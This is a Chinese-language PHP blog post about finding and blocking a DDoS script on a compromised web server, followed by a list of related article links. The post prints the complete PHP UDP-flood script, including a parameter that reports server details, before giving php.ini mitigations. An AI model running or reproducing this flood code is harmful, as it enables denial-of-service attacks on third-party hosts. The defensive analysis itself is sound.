php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
php mysql索引问题
Jun 07 PHP
中英文字符串翻转函数
Dec 09 PHP
PHP教程 变量定义
Oct 23 PHP
浅析is_writable的php实现
Jun 18 PHP
php类声明和php类使用方法示例分享
Mar 29 PHP
Laravel中使用阿里云OSS Composer包分享
Feb 10 PHP
php判断str字符串是否是xml格式数据的方法示例
Jul 26 PHP
PHP实现的链式队列结构示例
Sep 15 PHP
Ubuntu上安装yaf扩展的方法
Jan 29 PHP
PHP常用正则表达式精选(推荐)
May 28 PHP
Laravel 验证码认证学习记录小结
Dec 20 PHP
浅谈PHP中的那些魔术常量
Dec 02 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
通过ICQ网关发送手机短信的PHP源程序
2006/10/09 PHP
php记录日志的实现代码
2011/08/08 PHP
深入解析php中的foreach问题
2013/06/30 PHP
php+mysql不用递归实现的无限级分类实例(非递归)
2014/07/08 PHP
php解析json数据实例
2014/08/19 PHP
PHP支付系统设计与典型案例分享
2016/08/02 PHP
thinkphp5.0自定义验证规则使用方法
2017/11/16 PHP
JavaScript 变量命名规则
2009/09/23 Javascript
jQuery实现锚点scoll效果实例分析
2015/03/10 Javascript
JQuery控制radio选中和不选中方法总结
2015/04/15 Javascript
深入理解Ajax的get和post请求
2016/06/02 Javascript
对js eval()函数的一些见解
2016/08/15 Javascript
纯JS单页面赛车游戏制作代码分享
2017/03/03 Javascript
vue跨域解决方法
2017/10/15 Javascript
浅谈Vue-cli 命令行工具分析
2017/11/22 Javascript
深入理解Node module模块
2018/03/26 Javascript
JS获取url参数,JS发送json格式的POST请求方法
2018/03/29 Javascript
js中实例与对象的区别讲解
2019/01/21 Javascript
Vue中Axios从远程/后台读取数据
2019/01/21 Javascript
Vue 401配合Vuex防止多次弹框的案例
2020/11/11 Javascript
[13:39]2014 DOTA2华西杯精英邀请赛 5 25 NewBee VS DK第一场
2014/05/26 DOTA
详解Python命令行解析工具Argparse
2016/04/20 Python
Python使用matplotlib的pie函数绘制饼状图功能示例
2018/01/08 Python
python 多线程将大文件分开下载后在合并的实例
2018/11/09 Python
python使用udp实现聊天器功能
2018/12/10 Python
详解python列表生成式和列表生成式器区别
2019/03/27 Python
CSS3中线性颜色渐变的一些实现方法
2015/07/14 HTML / CSS
香港草莓网土耳其网站:Strawberrynet TR
2017/03/02 全球购物
初任培训自我鉴定
2013/10/07 职场文书
机械制造与自动化应届生求职信
2013/11/16 职场文书
英语专业个人求职信范文
2014/02/01 职场文书
物理专业大学生职业生涯规划书
2014/02/07 职场文书
项目总经理岗位职责
2014/02/14 职场文书
公司保密承诺书
2014/03/27 职场文书
学校门卫岗位职责范本
2014/06/30 职场文书
读《茶花女》有感:山茶花的盛开与凋零
2020/01/17 职场文书